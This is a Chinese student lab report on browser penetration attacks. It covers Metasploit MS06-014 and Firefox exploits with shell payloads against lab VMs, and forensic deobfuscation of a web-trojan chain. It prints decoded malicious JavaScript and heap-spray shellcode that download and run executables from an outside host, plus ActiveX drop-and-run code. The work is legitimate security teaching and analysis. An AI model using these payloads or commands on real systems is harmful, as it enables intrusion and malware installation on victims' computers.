目录
20232831 袁思承2023-2024-2 《网络攻防实践》第11次作业
1.实验内容
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
(2)取证分析实践—网页木马攻击场景分析
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
2.实验过程
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验过程提示如下:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
首先,我们选择Kali攻击机和Win2kServer靶机进行实验,第一步得确定它们之间的连通性。(为什么不选择WinXP?据了解,XP系统已经修复该MS06-014渗透攻击的相关漏洞,无法完成实验)
虚拟机 | IP地址 |
---|---|
Kali | 192.168.137.31 |
Win2kServer | 192.168.137.229 |
互相ping通的结果如下:
输入以下命令,打开Kali的Metasploit
msfconsole
查找一下MS06-014渗透攻击模块,因此使用以下命令。
search MS06-014
找到以后,输入以下命令,使用该攻击模块
use exploit/windows/browser/ie_createobject
我们查看一下使用该模块的具体细节,了解我们需要进行哪些设置。使用以下命令
show options
我们发现,默认配置即已经可以实现该模块的攻击,即服务器地址和URL参数已经设置好,因此我们直接设置payload,选择PAYLOAD为任意远程Shell连接,并进行攻击。
set payload windows/shell/bind_tcp
exploit
可以看到,得到了一个URL链接,该链接即是所需要的恶意网页,包含木马脚本URL,内容如下:
http://192.168.137.31:8080/WQi6463aFMCf
得到恶意网页后,我们就打开Win2K靶机,访问这个网页,发现网页上出现了一串字符。
回到Kali,输入以下命令,查看当前有谁访问了Kali构造出来的恶意网页,并与对方主机进行连接的建立,从而获取对方主机的控制权。
sessions
sessions -i 1
等待一会后,验证是否获得对方主机的shell,即Win2K主机的shell
获取成功!实验结束。
(2)取证分析实践—网页木马攻击场景分析
实验提示如下:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址
②在进入 htm 后,每解密出一个文件地址,请对其作32 位 MD5 散列,以散列值为文件名到http://192.168.68.253/scom/hashed/。哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
首先,我们文本方式打开start.html文件,ctrl+f搜索一下new09.htm内容。
可以看到,共有两处地点存在new09.htm这部分内容,仔细观察后发现,start.html中调用new09.htm是使用了相对路径,这说明它们二者处于同一路径下,因此直接使用相同命令打开new09.htm,并进行查看。
打开发现,只有两行代码,分别调用了两个文件http://aa.18dd.net/aa/kl.htm和http://js.users.51.la/1299644.js
于是我们将这两个网址文件进行散列,求出它们对应的MD5码:
它们的MD5加密数值如下:
7F60672DCD6B5E90B6772545EE219BD3
23180A42A2FF1192150231B44FFDF3D3
于是,我们去hashed文件中寻找这两个MD5码为命名的文件
其中一个文件显示自己不是木马(在Kali中乱码,于是去Windows系统下查看)
另外一个文件又是被加密后的文件,但是根据它的内容可以发现,它是使用了xxtea分组密码算法对base64编码内容进行加密的。
于是,我们找到它的密钥,并解密一下,得到的结果如下,即“\x73\x63\x72\x69\x70\x74” = “script”:
再将该文本加密后的内容进行解密,密钥输入为script,就得到了一长串16进制形式的代码
对该16进制形式的代码再做一次转换,将其转换为它们对应的字符串,即相对应的ASCII码
最终,解密出来的完整内容如下,很明显,这是一段javascript代码:
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
我们从中得到了4个被调用的js文件,并且利用了以下4个漏洞:
文件:
http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab
漏洞:
Adodb.Stream、MPS.StormPlayer、POWERPLAYER.PowerPlayerCtrl.1、BaiduBar.Tool
我们再求出调用的4个js的MD5值,同样的,我们继续在hashed文件中寻找这4个MD5码为命名的文件
调用js | 对应MD5 |
---|---|
http://aa.18dd.net/aa/1.js | 5d7e9058a857aa2abee820d5473c5fa4 |
http://aa.18dd.net/aa/b.js | 3870c28cc279d457746b3796a262f166 |
http://aa.18dd.net/aa/pps.js | 5f0b8bf0385314dbe0e5ec95e6abedc2 |
http://down.18dd.net/bb/bd.cab | 1c1d7b3539a617517c49eee4120783b2 |
①http://aa.18dd.net/aa/1.js->5d7e9058a857aa2abee820d5473c5fa4
首先,在hashed文件夹中查找5d7e9058a857aa2abee820d5473c5fa4并打开它,得到的仍然是以穿十六进制串
将其转化为对应ASCII码的字符串,结果如下
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
从这段代码中我们可以看到,它将下载一个名为014.exe的可执行文件,即访问该URL http://down.18dd.net/bb/014.exe。
②http://aa.18dd.net/aa/b.js->3870c28cc279d457746b3796a262f166
同样的,我们打开此文件,这次并没有得到十六进制串,而是一堆乱码
从function(p,a,c,k,e,d)我们可以知道,应该使用packed进行解码。因此,我们得到了以下内容:
var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)
从中可以看到,shellcode很长,于是我们通过/符号来查找我们需要的url。而/符号对应的十六进制为2f,其中有6处出现2f,因此,我们进行转码,最终得到了以下内容
687474703a2f2f646f776e2e313864642e6e65742f62622f62662e657865
再次进行解码后,即16进制转字符,我们得到了以下内容
网站如下:
http://down.18dd.net/bb/bf.exe
即它将下载一个名为bf.exe的可执行文件
③http://aa.18dd.net/aa/pps.js->5f0b8bf0385314dbe0e5ec95e6abedc2
同样的,我们打开该文件
很明显,这次是八进制版本,因此直接使用python输出它,即可得到字符串
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
这一部分和②相似,也获得了shellcode,因此我们与上面的②部分一样,最终也能获取到一个地址
http://down.18dd.net/bb/pps.exe
即它将下载一个名为pps.exe的可执行文件
④http://down.18dd.net/bb/bd.cab->1c1d7b3539a617517c49eee4120783b2
查找发现,它是个压缩包,但是却没有例如zip等等压缩文件的后缀名,于是我们重命名它的后缀名
打开我们发现里面有一个bd.exe文件
最终,我们得到了4个exe文件:
014.exe、bf.exe、pps.exe、bd.exe
最后,我们继续分析这四个exe文件。首先,我们在Kali中利用其自带的工具,对它们四个都进行MD5值的计算,发现MD5值一致,说明它们四个文件是同一个文件。
其中注意,014.exe并不在original文件夹中,于是我们查找发现,在hashed中的ca4e4a1730b0f69a9b94393d9443b979即是014.exe文件,从check检查可以得知。
既然四个文件都是一样的,因此,我们随便找一个文件进行分析。只选择了pps.exe文件。首先,我们使用WinXP自带的超级巡警脱壳工具进行脱壳。我们可以发现它是由Delphi进行加壳的
随后,我们使用IDA工具对该文件进行分析。
在以下截图中,我们可以发现,该可执行文件下载了大量的木马可执行文件。
除此以外,我们还能看到dword字段,这说明该程序将执行例如修改系统权限,删除系统文件,下载恶意文件,修改系统日期等等操作,对系统造成巨大的危害。
分析结束!
(3)攻防对抗实践—web浏览器渗透攻击攻防
这部分要求攻击和防守用到的渗透攻击方法不一样,是两种,于是我们选择火狐浏览器的漏洞,而不是上述实验中已经做过的。
虚拟机 | IP |
---|---|
Kali(YSC) | 192.168.73.201 |
Win2k(ZHX) | 192.168.73.79 |
①攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
攻击:
首先,我们打开Metasploit
msfconsole
查找火绒浏览器漏洞
search firefox
使用漏洞
use exploit/windows/browser/firefox_smil_uaf
set payload windows/shell/bind_tcp
set URIPATH /
run
构造钓鱼网站
对方打开后,查看:
攻击成功!
②防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
防守:
访问对方的钓鱼链接后,出现如下:
查看源码发现,空格空行太多,于是我们进入以下网站,对其进行格式化,方便代码阅读:
http://www.esjson.com/htmlformat.html
在网站优化美化后:
<html>
<head>
<title></title>
<script language="javascript">
function JoWuZOEoZZfkvYxBmj(o, n) {
var r = null;
try {
eval("r=o.CreateObject(n)")
} catch(e) {}
if (!r) {
try {
eval("r=o.CreateObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.CreateObject(n,'','')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject('',n)")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n)")
} catch(e) {}
}
return (r)
}
function nIOksWrFLVySJGFLxI(a) {
var s = JoWuZOEoZZfkvYxBmj(a, "WScript.Shell");
var o = JoWuZOEoZZfkvYxBmj(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\uViKP.exe";
var dat;
try {
xml = new XMLHttpRequest()
} catch(e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if (!xml) {
return (0)
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0)
}
function DKZH() {
var i = 0;
var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', null);
while (t[i]) {
var a = null;
if (t[i].substring(0, 1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
} else {
try {
a = new ActiveXObject(t[i])
} catch(e) {}
}
if (a) {
try {
var b = JoWuZOEoZZfkvYxBmj(a, "WScript.Shell");
if (b) {
nIOksWrFLVySJGFLxI(a);
return (0)
}
} catch(e) {}
}
i++
}
}
</script>
</head>
<body onload='DKZH()'>
yLtVxuHcvnMQSBrMYWk
</body>
</html>
从以下内容可以知道,访问此链接后,被运行了一个uViKP.exe文件。
var bin = e.Item("TEMP") + "\\uViKP.exe";
在任务管理器中也可以看到uViKP.exe正在运行。
由以下内容可知,BD96C556-65A3-11D0-983A-00C04FC29E36就是漏洞MS06-014中的变量等信息。
var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', null);
成功分析!
3.学习中遇到的问题及解决
- 问题:第一个实验,WinXP系统无法成功被攻击,大概是防火墙的原因,或者是漏洞已经被修复
- 问题解决方案:选择更老版本的Windows系统,即Win2K系统进行实验
4.学习感悟、思考等
通过本次实验,进一步学习了渗透攻击,让我对Web渗透攻击和Web木马有了更深入的理解。同时,让我意识到在日常生活中,不要随意点击不安全或不明白的Web网页,被渗透攻击或者被木马入侵的可能性非常大,我们要将安全意识牢记于心。